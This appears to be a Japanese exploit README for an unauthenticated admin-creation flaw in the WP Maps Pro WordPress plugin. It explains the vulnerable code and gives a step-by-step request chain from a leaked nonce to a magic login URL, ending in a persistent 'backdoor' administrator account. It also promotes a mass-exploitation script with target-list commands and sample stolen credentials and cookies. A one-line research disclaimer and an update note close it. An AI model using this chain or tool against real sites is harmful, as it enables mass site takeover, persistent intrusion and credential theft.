
WP Maps Pro <= 6.1.0 - 管理者アカウント作成による未認証の権限昇格
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-8732 |
| CVSS スコア | 9.8 (Critical) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| タイプ | 重要な機能に対する認証の欠如 |
| プラグイン | WP Maps Pro (wp-google-map-gold) |
| 影響を受けるバージョン | すべてのバージョン ≤ 6.1.0 |
| 修正済みバージョン | 6.1.1 |
| 公開日 | 2026年5月28日 |
| 研究者 | David Brown |
| PoC | Shadow & Friska 😈 |
WordPress 用プラグイン WP Maps Pro には、管理者アカウント作成による未認証の権限昇格 の脆弱性があります。
wpgmp_temp_access_ajax AJAX アクションは wp_ajax_nopriv_ で登録されており、fc-call-nonce nonce を使用した nonce チェックのみで保護されています。この nonce は wp_localize_script によって wpgmp_local JavaScript オブジェクトの nonce フィールドとして すべてのフロントエンドページに公開埋め込み されています。
これにより、nonce チェックはアクセス制御メカニズムとして 完全に無効 となり、未認証の攻撃者には以下が可能になります:
check_temp=false を指定して wpgmp_temp_access_support ハンドラを呼び出すwp_set_auth_cookie() を呼び出すマジックログイン URL を受け取り、完全な管理者アクセスを取得する結果: 事前認証ゼロでの完全なサイト乗っ取り。
is_admin() ブロック内に登録されたフック — ただし AJAX では is_admin() は常に TRUE// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE for all admin-ajax.php requests!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← LEAKED to public HTML!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
任意の訪問者がページソースから nonce を読み取ることができます。WordPress の nonce は CSRF トークンであり、認証トークンではありません。
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← bypassed via public nonce
// NO current_user_can() check!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // random username
$email = '[email protected]'; // hardcoded email
$role = 'administrator'; // hardcoded role ← ROOT CAUSE
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← magic URL returned to attacker!
}
}
init フックによるマジックログイン — 有効期限なし・使い捨てではない// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECT TO DASHBOARD
[Unauthenticated Attacker]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() fired
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce: <rest-nonce>
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[Persistent Backdoor Created] 😈
shadow.py — 完全なエクスプロイトチェーン単一ターゲットまたは大量一括エクスプロイトに対応。
# Interactive
python3 shadow.py
# Single target
python3 shadow.py -u https://target.com
# Mass exploit
python3 shadow.py -f targets.txt -t 20
エクスプロイトのフェーズ:
Phase 1 ▶ Plugin & Feature Detection
Phase 2 ▶ Nonce Scan (parallel crawler)
Phase 3 ▶ Admin Creation via AJAX
Phase 4 ▶ Magic Login (wp_set_auth_cookie)
Phase 5 ▶ Persistent Backdoor (REST API)
出力 (pwned.txt):
1.
=======================================================
Target : https://target.com/wp-admin/
User : shadow_xxxxx
Pass : Xk9#mQ2pLrTv8nYw
Email : [email protected]
Magic : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookies :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
WP Maps Pro をバージョン 6.1.1 以降に更新してください。
[shadow ♡ friska] — 教育および許可を得たセキュリティ研究のみを目的としています